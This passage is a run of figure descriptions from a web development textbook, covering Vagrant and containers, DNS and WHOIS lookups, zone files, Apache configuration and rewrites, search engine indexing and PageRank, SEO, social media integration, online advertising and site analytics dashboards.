virtual machine using the current configuration.")

[laptop] randy$ vagrant ssh

Welcome to Ubuntu 12.04

... ( Text next to this line reads, "Use the SSH command to connect to this
virtual box. As fas as our local computer is concerned, we have connected to
an external computer.")

vagrant@trusty64:~$ cd /etc/apache2

vagrant@trusty64:~$ ls



... (Text next to this line reads, "We can now run commands on this
"external" computer system.")



Figure shows three machines with boxes drawn behind them to represent
their internal sections. First box is "Host/Server" which holds a smaller box at
bottom and two containers. Box at bottom has hardware, operating
system(linux), and container engine (e.g. Docker), represented one above
other. Top two boxes represent containers. Left container has Apache,
MySQL, and PHP which support "Application 1". Right container has
Node.js, Mongo and nginx which support "Application 2". Each container is
accessed by users from outside, who interact with web applications through
their browsers.

Second box is the "Registry" which contains multiple boxes inside it, labeled
as "container image". Containers in host are created using images stored in
registry. Container engine of host also interacts with registry.

Third box holds container client, which interacts with container engine of
host, and manages containers.

Text referring to Host/Server box and containter client reads, "These two
machines could be the same (for instance, when learning or testing)".



The fourteen steps involved in domain name address resolution are as
follows:

1. I want to visit www.funwebdev.com. (a webpage is displayed on a
monitor)

2. If IP for this site is not in browser's cache, it delegates task to operating
system's DNS Resolver. (An arrow points from monitor to DNS
resolver).

3. If not in its DNS cache, resolver makes request for IP address to ISP's
DNS Server (An arrow points from DNS resolver to Primary DNS
server).

4. Checks its DNS cache (Arrow from Primary DNS server to its cache).

5. If the primary DNS server doesn't have requested domain in its DNS
cache, it sends out request to root name server (Arrow from Primary
DNS server to Root name server).

6. Root name server returns IP of name server for requested TLD (In this
case the com name server). (Arrow points back to Primary DNS server).

7. Request IP of name server for funwebdev.com (Arrow from Primary
DNS server to com name servers).

8. .com name server will return IP address of DNS server for
funwebdev.com (Arrow points back from com name servers).

9. Request for IP address for www.funwebdev.com (Arrow from Primary
DNS server to DNS server).

10. Return IP address of web server (Arrow points back from DNS server).

11. Return IP address of www.funwebdev.com (Arrow from Primary DNS
server to DNS resolver).

http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com


12. Return IP address of www.funwebdev.com (Arrow from DNS resolver
to monitor).

13. Browser requests page (Arrow from monitor to web server).

14. Returns requested page (Arrow points back from web server to monitor).

http://www.funwebdev.com


Illustration shows an official at a computer terminal labeled as ""Registrant"".
A book labeled as ""Registration details"" points to a server machine with a
stack of books by its side. Server is labeled as ""Registrar"", which updates
registration details to another server that is connected to a database. Database
is labeled as ""WHOIS"" database.

Illustration shows another user at a terminal, labeled as ""Interested party"".
User pings ""WHOIS"" database with command ""WHOIS fundev.com"".
Output he receives is registrant information of fundev.com, which is
displayed as follows:

Registrar: FastDomain Inc.

Provider Name: BlueHost.Com

Domain Name: FUNWEBDEV.COM

Created on: 2012-08-27 19:33:49 GMT

Expires on: 2013-08-27 19:33:49 GMT

Last modified on: 2012-08-27 19:33:50 GMT

Three more screens are displayed, containing ""Registrant Info"",
""Technical Info"", and ""Billing info"". These screens display name,
address, email and telephone numbers of registered users as follows:

Ricardo Hoar

4825 Mount Royal Gate SW

Calgary, Alberta T3E 6K6

Canada

Phone: +1.4034407061

Fax:



Email: rhoar@mtroyal.ca

mailto:rhoar@mtroyal.ca


Illustration shows an official at a computer terminal labeled as "Registrant".
A book labeled as "Registration details" points to a server machine labeled as
"Private Registration company". A database is shown next to the server, and
is labeled as "Private registration company database". This database stores
personal information of registrant as follows:

Registrant Info

Ricardo Hoar

4825 Mount Royal Gate SW

Calgary, Alberta T3E 6K6

Canada

Phone: +1.4034407061

Fax:

Email: rhoar@mtroyal.ca

Private registration company server updates another server labeled as
"Registrar". And the registrar updates "WHOIS" database. What gets updated
between these servers and databases is the "Private company details".

Illustration shows another user at a terminal, labeled as "Interested party".
User pings "WHOIS" database with command "WHOIS fundev.com". Output
he receives is registrant information of fundev.com, which is displayed as
follows:

Registrar: FastDomain Inc.

Provider Name: BlueHost.Com

Domain Name: FUNWEBDEV.COM

Created on: 2012-08-27 19:33:49 GMT

mailto:rhoar@mtroyal.ca


Expires on: 2013-08-27 19:33:49 GMT

Last modified on: 2012-08-27 19:33:50 GMT

Three more screens are displayed below, containing "Registrant Info",
"Technical Info", and "Billing info". These screens hide information of
registrant, and instead show information of private registration company, as
follows:

Secret Co.

123 Hidden Elm Lane

Secret City, NY

Phone: +1.5557645362

Fax:

Email: secret@example.com

mailto:secret@example.com


Figure shows an user at a terminal, labeled as "anyone" interacting with a
server which is labeled as "ns1.linode.com". User sends following command
to server:

dig @ns1.linode.com www.funwebdev.com MX

Here, ns1.linode.com is marked as "Name server to query", funwebdev is
marked as "Domain", and MX is marked as "Record type".

Output from server to user is shown as follows:

MX

www.funwebdev.com 0 oldmail.www.funwebdev.com.

User sends another command to server as follows:

dig @ns1.bluehost.com www.funwebdev.com MX

Output from server is as follows:

MX

www.funwebdev.com 0 mail.www.funwebdev.com.

www.funwebdev.com 5 bumail.www.funwebdev.com.

mailto:@ns1.linode.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
mailto:@ns1.bluehost.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com


Zone file contains following records on top, which are labeled as "SOA (start
of authority) resource record:

www.funwebdev.com. SOA ns1.bluehost.com.
dnsadmin.box779.bluehost.com.

(

2013021300 ; serial

1D ; refresh

2H ; retry

5w6d16h ; expiry

5M ) ; minimum

Next set of records are "DNS name servers" which are shown as follows:

www.funwebdev.com. NS ns2.bluehost.com.

www.funwebdev.com. NS ns1.bluehost.com.

Next set of records, labeled as "Mail-related records" are as follows:

www.funwebdev.com. TXT "v=spf1 +a +mx +ip4:66.147.244.79 ?all"

www.funwebdev.com. MX 0 mail.www.funwebdev.com.

www.funwebdev.com. MX 5 bumail.www.funwebdev.com.

Last set of records, labeled as "Host-to-IP-address mapping/aliases" are as
follows:

www.funwebdev.com. A 66.147.244.79

bumail.www.funwebdev.com. A 66.147.244.79

http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com


mail.www.funwebdev.com. A 66.147.244.79

dev.www.funwebdev.com. A 66.147.99.111

www.funwebdev.com. AAAA 2001:db8:0:0:0:ff10:42:8329

ww2.www.funwebdev.com CNAME www.funwebdev.com.

http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com
http://www.funwebdev.com


The string is shown as "v=spf1 +a +mx +ip4:66.147.244.79 ?all"

Here, v=spf1 indicates "Version spf1".

"a" and "mx" indicates "Allow any machine with an A or MX record"

ip4:66.147.244.79 indicates "Allow sending from 66.147.244.79"

?all indicates "Neutral on all other machines."



Pie chart on left depicts percentage share of various web servers among top
60 million sites. Data is as follows:

Apache: 46 percent

IIS: 29 percent

nginx: 19 percent

Others : 6 percent

Pie chart on right depicts a similar percentage share among the top 10,000
sites. Data is as follows:

Apache: 30 percent

nginx: 27 percent

Others : 18 percent

IIS: 15 percent

Varnish: 10 percent



Illustration shows four steps. In step 1, a new user sends a request for a
resource to a server, as GET index.php. Step 2 shows server spawning a new
connection to handle this request. Connection sends back a file labeled as
index.php

In step 3, same open connection is used by subsequent requests. User sends
requests labeled as "GET sytlesheet.css", "GET image1.jpg", and "GET
imageN.jpg". Connection handles all these requests and returns the files.

Step 4 shows the connection getting terminated after a timeout period.



Three access categories are "Owner", "Group" and "World". Each of these
groups have 3 bit permissions, represented as "rwx".

Binary numbers for these permissions are:

owner: 111

group: 101

world: 100

Octal numbers are:

owner: 7

group: 5

world: 4



Illustration shows a server machine hosting three virtual hosts as follows:

<VirtualHost *:80>

ServerName www.domaina.com

DocumentRoot /www/domainA

</VirtualHost>

(Domain A points to a folder labeled as "/www/ domainA").

<VirtualHost *:80>

ServerName www.domainN.com

DocumentRoot /www/domainN

</VirtualHost>

(Domain N points to a folder labeled as "/www/ domainN").

<VirtualHost *:80>

ServerName www.funwebdev.com

DocumentRoot /www/funwebdev

</VirtualHost>

"funwebdev" points to a folder labeled as "/www/ funwebdev").

A request comes to server as follows:

GET /index.html HTTP/1.1

Host: www.funwebdev.com

http://www.domaina.com
http://www.domainN.com
http://www.funwebdev.com
http://www.funwebdev.com


...

Server sends back a "index.html" file to user in reponse.



Figure shows a user at a terminal, sending a ""GET /folder1/"" request to a
server. Server recognises that a folder is being requested, and executes one of
following three actions.

a. Finds the Document Index file in the folder and returns (or interprets) it.

b. Generates and returns an HTML page directory listing of all the files in
the folder.

c. Returns a 403 error code, saying we do not have permission to access
this resource.

Returned file is displayed on user's browser.



Illustration shows process in five steps.

Step 1 shows initial request from user as

"GET /foo.html HTTP/1.1

Host www.funwebdev.com

..."

In step 2, redirect configuration at server informs that foo.html has moved to
bar.php. redirect match is shown as "RedirectMatch foo.html
/PATH/bar.php".

Step 3 shows server returning a 302 redirect with path of new resource
bar.php in the "Response header". File details are displayed as "Status: 302

...

Location

http://www.funwebdev.com/PATH/bar.php"

In step 4, browser interprets 302 redirect, and makes another request.

URL will change. New request is shown as

"GET /PATH/bar.php HTTP/1.1

Host www.funwebdev.com

..."

In the last step, server responds with the output from bar.php.

http://www.funwebdev.com
http://www.funwebdev.com/PATH/bar.php
http://www.funwebdev.com


Syntax is shown as: ^(.*)\.html$ /PATH/$1.php [R]

where ^(.*)\.html$ is marked as pattern

/PATH/$1.php is marked as substituion and

[R] is marked as Flags

An arrow points from "" .* "" in pattern to ""/$ "" in substitution. A text next
to the arrow reads, ""Backlink defined inside patterns()"".



Illustration shows four steps.

In step 1, user sends an initial request as "GET /foo.html HTTP/1.1

Host funwebdev.com

..."

Step 2 shows redirect configuration at server which informs that "foo.html"
has moved to "bar.php". Rewrite rule is displayed as "RewriteRule
^/foo.html$/PATH/bar.php [PT]"

Step 3 shows the server responding with the output from "bar.php". File is
sent to browser where, in final step, client sees output from "bar.php" but
URL still says "foo.html".



Syntax is shown as : %{REMOTE_ADDR} ^192\.168\.

where %{REMOTE_ADDR} is labeled as "Test string"

and ^192\.168\. Is labeled as "Condition".

A blank space next to condition string is labeled as "Flags" which is optional.



Authentication window shows two input fields labeled "Username" and
"Password", along with an "OK" and "Cancel" button.

Text in window reads:

Authentication required

A username and password are being requested by http://localhost. The site
says: "Enter your Password to access this secret folder".



The webpage shows tabs on top such as About, Become an Editor, Suggest a
Site, Help, and Login. Text below reads “Welcome to DMOZ! It's the Web,
Organized” below which is the Search box. Different topics are listed on the
page as Arts, Business, Computers, Games, Health, Home, News, Recreation,
Reference, Regional, Science, Shopping, Society, Sports, Kids & Teens
Directory, DMOZ around the World.



Figure shows three components of a search engine that interact with each
other: Input agents, Database engine, and Query servers.

Working of a web search is illustrated in 7 steps.

Step 1 shows Input engines or crawlers requesting URLs from world wide
web. Illustration shows three spiders on top of stacked server machines,
representing crawlers.

In step 2, web content is downloaded to servers.

Step 3 shows input engines adding crawled URLs to database engine, which
is another set of stacked servers.

In step 4, crawled web content is added to indexes in database engine.

Step 5 shows a user making a search request by entering "Get rich" in search
box of a browser.

In step 6, request is forwarded by browser to query servers, which queries
database engine for results matching query.

In final step, search results are returned by query engines to the browser.



Figure shows following database table:

URLID: DomainID: Path: Query (column names)

1430321: 5743: /: n/a

879101: 99743: /index...: n/a

550804:17432: /prod/: Pid=98

.......

932153: 61842: /bus/n/a

Two binary trees of nodes are depicted next to table, representing two
indexes. Each tree has four levels of nodes, with each node giving rise to two
more nodes at next level. Thus top most level has one node, which divides
into two nodes at second level, which further divide into four nodes at level
3, and eight nodes at level 4.

First index is labeled as "URLID" index. "URLID" column from database
table points to one of nodes in second level of this index.

Second index is labeled as "DomainID" index. "DomainID" column from
table points to a node in second level of this index.



Illustration shows three binary trees of nodes, representing three indexes.
Each tree has four levels of binary nodes, with 1, 2, 4, and 8 nodes at four
levels. Two smaller sized trees are labeled as "hello" index and "world"
index. Third index which is bigger than other two is "URLID index".

Four arrows are drawn between "hello" index and "URLID index" as follows:

Level 1 node in Hello: points to level 1 node in URLID

Level 2 node in Hello: points to level 3 node in URLID

Level 3 node in Hello: points to level 4 node in URLID

Level 4 node in Hello: points to level 3 node in URLID



The diagram shows A leading to B, which leads to D, which further leads to
C and it leads to A.

It also shows B leading to A, C leading to D, C leading to B, and D leading to
A.



Figure shows four websites represented by four boxes arranged as a square.
Backlinks between these websites are shown as arrows drawn between boxes
in following way:

B, C, and D point to A,

A and C point to B,

D points to C,

B and C point to D.

Figure shows three illustrations as above, labeled as "Iteration 0", "Iteration
1", and "Iteration 2". In each iteration, a page rank is given to each box.
Boxes are shown in different shades of red, with color intensity increasing
along with comparitive page rank.

Page ranks for websites in three iterations are as follows:

Iteration 0:

A: B: C: D: page rank is 1 over 4

(All the boxes have a medium shade of red).

Iteration 1:

A: 1 over 3

B:1 over 3

C: 1 over 8

D: 5 over 24

(C has lightest, D has lighter, A and B have dark shades).

Iteration 2:



A: 15 over 48

B: 3 over 8

C: 5 over 48

D: 5 over 24

(C has lightest, A and D have lighter shades, B has the darkest shade).



Figure shows four websites represented by four boxes arranged as a square.
Backlinks between these websites are shown as arrows drawn between boxes
as:

B, C, and D point to A

C points to B

D points to C

B and C point to D

Page A is a ranksink, with no links to other sites.

Three iterations are depicted for these pages, with page ranks displayed for
each page in every iteration.Boxes are shown in different shades of red, with
the color intensity increasing along with the comparitive page rank.

Iterations and page ranks are as follows:

Iteration 0:

A, B, C, D: Page rank is 1 over 4

(All boxes have the same shade of medium red)'

Iteration 1:

A: 1 over 3

B: 1 over 12

C: 1 over 8

D: 5 over 24

(B has the lightest, C has lighter, D has medium dark, and A has darkest with
highest page rank).



Iteration 2:

A: 9 over 48

B: 1 over 24

C: 5 over 48

D: 1 over 12

(B has lightest, D has lighter, C has slight dark shade, A has darkest with
highest page rank).



Illustration shows following words:

Words = [ aaah, aah, aardvark, aaron, aarp, ... zygote, zyme, zyxel ]

Text pointing to these words reads, "to simplify, let's say that we have
100,000 words in our language."

A vector is shown conceptually representing this language as follows:

Vector = [ 1, 1, 1, 1, 1, ... 1, 1, 1 ]

Text next to the vector reads, "A web page that contained every word in our
language just once, would thus have a vector that looks like this."

Next illustration shows a browser with following content:

All about Aaron's Aardvark (title)

Aaah, I love my aardvark named Aaron. I was going to call her Zygote but
decided that it was too weird. As a biologist, I have an interest in the zygote,
but as a fan of Hank Aaron, it seemed suitable to call my aardvark "Aaron".

Words in any given webpage can be represented via a 100,000 item vector, as
follows:

[ 1, 0, 3, 4, 0, ... 2, 0, 0 ]

An arrow points this vector to a database, with following text:

"This vector can then be saved in the search engine's data store."



Three lines are drawn on steep upward slopes, starting from the origin. Line
B which is less steep than the other two is drawn up to coordinate point (5,1).
Line C is steeper than B, and is drawn up to coordinate point (2,2). Line A
has the steepest slope, and is drawn up to (2, 3).



Figure shows a browser window that shows a search box labeled as "Nursery
Rhyme animal search". Search query is "dog and cat".

Search result shows six words, represented as dictionary "D" as follows:

D = [ cat,cow,dog,horse,mouse,pig ]

Vector Q is shown, representing relevant words in search term as follows:

Q = [ 1, 0, 1, 0, 0, 0 ]

Next illustration shows three webpages which are represented as vectors.

First screen shows the following rhyme:

"The farmer in the dell The farmer in the dell Hi-ho, the derry-o, the farmer
in the dell....the mouse takes the cheese The cheese stands alone Hi-Ho, the
derry-o The cheese stands alone."

Vector A is shown next to screen, representing frequency of dictionary words
in this web page as follows:

A = [ 6, 6, 6, 0, 6, 0 ] (representing cat, cow, dog, horse, mouse and pig,
respectively)

Similarity is represented as:

Vector A * Vector Q = 45 degrees.

Second screen shows following rhyme:

"Hey diddle diddle, the cat and the fiddle, the cow jumped over the
moon....the littel dog laughed to see such fun And the dish ran away with the
spoon!"

Vector B is shown next to screen, representing frequency of dictionary words
in this web page as follows:



B = [ 2, 2, 2, 0, 0, 0 ] (representing cat, cow, dog, horse, mouse and pig,
respectively)

Similarity is represented as:

Vector B * Vector Q = 35 degrees.

Third screen shows following rhyme:

"Old McDonald had a farm, E-I-E-I-O And on his farm he had a cow...Old
McDonald had a farm, E-I-E-I-O"

Vector C is shown next to screen, representing frequency of dictionary words
in this web page as follows:

C = [ 0, 1, 0, 1, 0, 1 ](representing cat, cow, dog, horse, mouse and pig,
respectively)

Similarity is represented as:

Vector C * Vector Q = 90 degrees.

Text at the end of Illustration reads, "A smaller similarity angle indicates a
closer match. Thus page B is a closer match to the search terms than page A
or page C."



The output reads:

Fundamentals of Web Development http://funwebdev.com

The companion site for the upcoming text book Fundamentals of Web
Development from Pearson. Fundamental topics like HTML, CSS,
JavaScript and ...



Figure shows five squares A, B, C, D, and E representing as corners of an
pentagon. All squares have same shade of red, indicating same page rank for
five websites these squares represent.

Bi-directional arrows are drawn from each box to every other box,
representing backlinks between the websites.



Figure shows two iterations of a link pyramid. Pyramid has 1 square at top
level, two squares at middle level, and four squares at bottom, with squares
representing websites. Bidirectional arrows are drawn between first and
fourth square as well as adjacent squares in bottom level. All four squares of
bottom level point arrows at two squares in middle level. Two squares in
middle level point arrows at top level square.

In Iteration 0, all seven squares have the same page rank of 1 over 7, and are
shown in same shade of red.

In iteration 1, page rank of bottom squares is 1 over 28, that of middle
squares is 1 over 14, and page rank of top square is 2 over 7. Color shades
grow progressively stronger from bottom to top.



Actual URL of the website is displayed as "/products/BudgetXL3000/"...with
some content displayed in the web page.

Two duplicate pages are also displayed. "cannonical" tag is used in the head
section of these pages, as follows:

Page 1 url: "/print/index.php?p=182736"

<head>

<link rel="canonical" href="/products/BudgetXL3000/"/>

</head>

Content, content"

Page 2 url: " /details/prodcut/index.php?p=182736"

<head>

<link rel="canonical" href="/products/BudgetXL3000/"/>

</head>

Content, content, content...

Arrows are drawn from "/products/BudgetXL3000/" in both the head sections
of duplicate pages, to actual URL."



First screen has following title tag: "Portrait of Dr.Gatchet (1890) by Vincent
Van Gogh; Art Store - Mozilla Firefox."

Title tag of second screen is : "Liberty Leading the People (1830) by Euglene
Delacroix; Art Store - Mozilla Firefox."

Text pointing to these two titles reads, "Unique and descriptive <title> tags"

URL of second screen is shown as:
192.168.1.7/Artists/Eugene+Delacroix/36/

Annotation pointing to the URL reads, "Good URLs".

Screen shows a painting titled as "Liberty Leading the People". A mouse-
hover on image displays title. Text pointing to this mouse-over reads, "Alt
and title on images".

Text is displayed next to image, describing painting. This text is annotated as
"Good content".

Finally, page has five navigation tabs on top, labeled as "Home", "About Us",
"ArtWorks", "Artists", and "Specials". These tabs are annotated as
"Consistent navigation".



Figure shows six individuals who are at center of their individual social
networks. First individual is connected to the second, the second to the third,
and so on. Sixth individual is connected to a seventh individual. First and
seventh individual are now separated by six connections, which is depicting
six degrees of separation.



Illustration shows three individuals who have a mail correspondence between
them. Additionaly, first individual has mail correspondence with three
separate people who do not communicate with each other. Second person has
mail correspondence with three other separate people who do not
communicate with each other. Third person corresponds over mail with two
different unrelated people. One of these two also has a mail correspondence
with one of the contacts of second person.



Illustration shows an individual at center of a social network. He
communicates with two individuals by exchanging text and images with
them. He exchanges only messages with another two individuals. He also has
multiple message exchanges with two more individuals. All these people
connected to him have no separate contact or connection among themselves.

Individual at center also communicates with public through a website.



Screenshot of Google plus page shows image of textbook cover, with title
and website name listed prominently on left panel. Three forms are displayed
at bottom. Left form is an input field to add new content and posts. Form in
middle is a short summary of the book. Right form displays contacts
available in user's circle.

Facebook page shows image of textbook cover, both in profile picture and
cover photo. A community page is created for texbook with a short summary
displayed below cover photo.

Latest post about book is displayed on left, and two comments are shown on
right.



Figure shows a tweet from "Fundamentals Web Dev @ FunWebDev" handle
which reads as follows:

Please visit our website at funwebdev.com: This URL will be auto shortened.

Auto shortened url of "funwebdev.com" is shown as
"http://t.co/gHX0kNnDvx"

Illustration shows an user sending a "GET" request for
"http://t.co/gHX0kNnDvx" to "t.co" server. Server redirects request to
"http://funwebdev.com". "GET" request for "http://funwebdev.com" is now
sent to "funwebdev.com" server, which returns page to browser.



Figure shows two screens. Screen on top shows "your website" which has a
facebook "like" button integrated into it from facebook servers. Clicking on
this button allows a recommended post about book appearing on user's
newsfeed in facebook, which is displayed in bottom screen.



Screenshot shows two facebook buttons labeled as "Like" and "Send". The
"f" icon representing facebook is displayed along with text that reads, "Be the
first of your friends to like this."



Screenshot shows a facebook story that informs that the user "Ricardo Hoar"
likes a link. Time is mentioned as "about an hour ago". Text along with it
says, "testing simple like button". Story also displays a link for
"funwebdev.com" along with text that reads, "Fundamentals of web
development".



Illustration shows a social network user clicking "Like" on an "Article".
"Like" is labeled as "Action", while "Article" is labeled as "Object". This
action is communicated to a server, "funwebdev.com" which is labeled as
"App". This server then communicates the user liking article to a Facebook
server.



Title of page reads "Input URL, Access Token, or Open Graph Action ID."
An input field is displayed below title with "funwebdev.com" entered, along
with a "debug" button.

A section titled as "Scrape information" displays response code, fetched url
and canonical url details.

Four warning messages are displayed in a section, labeled as "Open Graph
Warnings That Should Be Fixed".

Last section is titled as "Object Properties" which displays the following
information:

og:url: http://funwebdev.com

og:type: website

og:title: Fundamentals of Web Development

og:image: displays a number of image icons of various social network
applications

og:description: companion site for the upcoming text book....

og:updated_time: 1375898093



Facebook newsfeed story shows an image of a book, together with a title that
reads, "Fundamentals of Web Development". Following four tags point to
image of book: og:image

og:image:type

og:image:width

og:image:height

Annotation reads, "Defines the icon(s) to use for this object."

Tag pointing to book title is "og:title". Annotation reads, "Defines the title of
this object".

Title is also a link. Its tag is "og:url", and annotation reads, "Defines the
destination for this link".

Title of news story reads, "Ricardo Hoar recommends a book on
Fundamentals of Web development." Tag pointing to "Fundamentals of Web
development" is "Facebook App Name". Annotation is "Uses fb:app_id to
determine the app name to display".

Another tag points to "book" in above title. Tag is "og:type", and annotation
is "Defines what this Object is".



Screen shows image of book cover, with Google plus badge below it.
Following text is displayed below badge:

Fundamentals of Web Development

google.com/+Funwebdev

Upcoming textbook from Pearson by Randy Connoly and Ricardo Hoar

G plus follow: 1.



Title of the page reads, "Tweets by Fundamentals Web Dev
(@FunWebDev)" with following subtext: "Add any public Twitter timeline
to your website using the tool below. Simply select your timeline source,
options, and copy and paste the code in the HTML of your page. For more
information, read the developer documentation."

A configuration section on left displays following input fields, checkboxes
and buttons:

Username: @ FunWebDev (input field)

Options: Exclude replies (checkbox checked)

Auto-expand photos (checkbox checked)

Height: 600 (input box)

Theme: Light (menu)

Link color: Default (blue) (input box)

Save changes and Cancel (buttons)

A preview page on right shows following tweet:

"As part of Chapter 22 in the book we have social media integration topics
including...wait for it...Twitter! #computers #yyc"

A box at bottom displays a HTML code, together with following instruction
below it: "Copy and paste the code into the HTML of your site."

Footer line reads, "By using Twitter Widgets, you agree to the Developer
Rules of the road."



Illustration shows a Facebook App embedded in a website. An user interacts
with this App, which sends HTTP requests to funwebdev.org server. Server
interacts with Facebook servers through "OG Objects", and returns a
response back to Facebook App in website.



Illustration shows three figures next to three websites that display content,
and also a space for advertisements next to the content. These are "site
owners". Second party is "Advertisers" who place ads, along with paying
money, represented as people standing in front of rectangular boxes. In
between these two parties and connecting them is "Advertising network",
represented as a server.

An advertiser places an advertisement along with a wad of currency. A part
of currency notes goes towards advertising network. Remaining notes goes to
site owner, who then allows advertisement to be placed in his website, next to
content.



Data is gleaned from website Builtwith.com. Pie chart on the left shows data
for the top 15 million sites as follows:

Google Adsense: 46 percent

DoubleClick.net: 4 percent

Others: 50 percent

Pie chart on right shows data for the top 10,000 sites as follows:

DoubleClick.net: 5 percent

Facebook: 2 percent

Google Adsense: 3 percent

AppNexus: 3 percent

Others: 87 percent



Process is illustrated in three steps.

Step 1 shows a client browser that has content and a space for advertisement
request for an addition from a server.

In step 2, the advertisers make different bids in "Advertising network"
auction.

Three advertisers with advertisements make three bids as follows:

Bid: 0.01 dollars per impression

Bid: 0.02 dollars per impression

Bid: 0.05 dollars per impression

Third advertiser wins bid.

Step 3 shows his advertisement being served to client browser, and placed
below content in advertisement space.



Figure shows a mail template where the "To and From" fields are marked as
"Headers". Two fields show the following inputs:

To: client@example.com

From: do-not-reply@funwebdev.com

Message body shows following content:

Hello client,

Content, content, content...

Visit Site!! (link)

Unsubscribe (link)

Footer bar

Text pointing to "Visit Site" reads, "Link contains identifying info about
campaign and user sent in URL /index.php?msg=451&userID=87"

Another text pointing to "Unsubscribe" reads, "Unsubscribe link /unsub.php?
token=dj1129dj3&userID=87"

Text pointing to footer bar reads, "Image src contains tracking info in URL
img.php?msg=451&userID=87"

Entire message body is labeled as "HTML". An alternate message is
displayed in Plain/text as follows:

Hello client,

Content, content, content...

Visit http://funwebdev.com

To unsubscribe, visit...



Figure shows two posters with different designs that have unique URLs
encoded in their QR codes. Both posters have a header that reads, "Visit
funwebdev.com". Poster on top has a green background. A visit to this site
sends query "whichColor?vote=green" to a server. Poster at bottom has a
black background. A visit to this site sends query "whichColor?vote=black"
to same server.

Server then displays a three dimensional bar graph labeled "Views" that plots
a tall black bar and a short green bar. Text above graph reads, "By using the
logged traffic you can determine which version of the poster was more
successful".



Screen shows "Dashboard" stats for funwebdev.com between 29 oct 206 and
27 nov 2016, with "Last 30 days" options chosen in menu.

Top section of dashboard shows a table labeled as site activity. It displays
five sets of data, labeled as follows:

Clicks From Search

Appeared in Search

Pages Crawled

Crawl Errors

Pages Indexed

Each data set shows information for current period, prior period, percentage
change, and a small graph called trends. "Clicks from Search" shows a
negative trend, while "Pages indexed" is neutral. Other three data sets show
positive growth between prior period to current period.

Next statistics give information about site maps, with data displayed about
number of URLs in the site, last submitted date, last crawl and status.

Two more tables are displayed for "Search" keywords and inbound links with
following statistical information:

Search keywords:

Keywords: Clicks from search: Appeared in Search

Fundamentals of web development: 1: 14

fundamentals of web development.pdf: 0: 10

fundamentals of web development chapter 6 project 1 html: 2: 10

Inbound links:



Target page: Count of Links

http://funwebdev.com: 24

http://funwebdev.com/about/table-of-contents: 2

Left bar shows a list of links grouped under various headings like
"Dashboard", "Reports and Stats", "Diagnostics and tools", "Security and
Messages".



Top bar shows following information:

Statistics for: funwebdev.com

Last update: 10 Jul 2016 - 01:10

Reported period: Year 2016

Next section shows following data:

When: Monthly history ; Days of Month; Days of Week; Hours

Who: Countries; full list; Hosts; Full list; Last visit; Unresolved IP Address

Navigation: Visits duration; File type; Downloads; Full list; Viewed; Full list

Referers: Origin; Referring search engines; Referring sites; Search; Search
keyphrases;

Others: Miscellaneous; HTTP Status codes; Pages not found

Stats summary is displayed as:

Reported period: Year 2016

First visit: 01 Jan 2016 -00:06

Last visit: 10 Jul 2016-00:55

A table shows data for following five columns:

Unique visitors: Number of visits: Pages: Hits: Bandwidth

Viewed traffic: less than equal to 6052: 10,297; 49,886; 342,832; 13.60 GB

Not viewed traffic: n/a; n/a; 155, 579; 190,821; 2.76 GB

Page then shows a monthly breakup of above data for same five columns,



between Jan 2016 and December 2016, with data displayed until July. A bar
graph represents data in table for all five parameters.

Last section of screenshot shows a bar graph labeled "Days of month". It
shows daily breakup of data in five columns for each day of a month, along
with an average displayed at end.



Screen shows the dashboard stats for duration between 10 June 2016 and 9
July 2016. "All Users" option is chosen with 100 percent sessions.

Dashboard shows four line graphs, a map and a table. First graph labeled as
"New users" shows number of new users for each day. Horizontal axis shows
days while vertical axis shows number of users between 0 to 40. Graph
shows a fluctuating line which averages over 20 users everyday between 15
June and 19 July, showing the highest hit of 35 users on 22 June.

Second graph shows users who visited site in selected duration. Vertical axis
shows number of users between 0 and 50 while horizontal axis shows dates.
Graph shows similar readings as the previous graph.

Third graph plots average session duration and pages per session for each
day. Sessions duration fluctuates for each day, hitting a maximum value of 3
minutes and minimum of 0 minutes, climbing up to maximum value of 5
minutes on 19 July. Pages per session remains consistently close to horizontal
axis, showing a peak value of 20 on 6th July.

A table labeled as "Sessions by Browser" shows the following data:

Chrome: 342

Firefox: 106

Safari: 37

YaBrowser: 32

Opera: 19

Internet Explorer: 17

A world map is displayed in "Dashboard page", showing page view across
various countries. A color scale is drawn between 1 and 504, with dark blue
representing 504. US and a few Asian countries show the maximum page
view, followed by Russia, Europe, rest of Asia, Australia and Brazil. African



countries and remaining South American countries show no hits.

Last graph is labeled as "Bounce rate". It shows a fluctuaing line that moves
between 100 percent and 50 percent.

Left panel displays various links and options to view different charts and
tables.



Flow chart displays data for duration between 1 Jan 2016 and 30 June 2016.
Left panel shows four types of traffic as follows:

Organic Search: 1.3K

Direct: 1.1K

Referal: 1.1K

Social: 18

Four flow information charts are displayed with following data:

Starting pages (3.5K sessions, 2.8K drop-offs)

3.1K

about: 63

/samples/chapters: 41

/samples/lab/manuals: 37

/samples/chapter-3: 36

39 more pages: 238

1st interaction (738 sessions, 269 drop-offs)

/about: 134

samples: 85

samples/lab/manuals: 70

samples/chapter 1-2: 53

60 more pages: 364



2nd interaction (469 sessions, 184 drop-offs)

/: 176

samples/lab/manuals: 36

/samples: 25

/portfolio: 24

/about: 23

32 more pages: 185

3rd interaction(285 sessions, 85 drop-offs)

/: 37

/about: 30

/samples: 28

/samples/lab-manuals: 24

/portfolio: 16

32 more pages: 150



Analytics page shows four views for all users between Nov 21, 2014 to Dec
20, 2016. Data is as follows:

Page views: 16,552 (percent of total: 62.62 percent [26,385])

Unique page views: 10,506 (percent of total: 56.59 percent [18,564])

Average time on Page: 0:01:42 (Site average: 0:01:24[21.62 percent])

Bounce rate: 69.22 percent (Site average: 68.41 percent [1.19 percent])

Each view also displays a graph that plots values for selected duration.

Bottom part of analytics page displays book title along with a box that shows
following data:

Clicks: 66 percent: 5,040 clicks.

"This link plus 8 more on this page link to:"

Page shows the click percentage for various parts of the website as follows:

Home: 66 percent

About: 7 percent

Samples: 3 percent

Testimonials: 0.6 percent

Blog: 1.2 percent



Data process shown ten steps, divided into two flows. In first flow, large data
sets are stored in various data nodes. In second flow this data is queried and
extracted from data nodes.

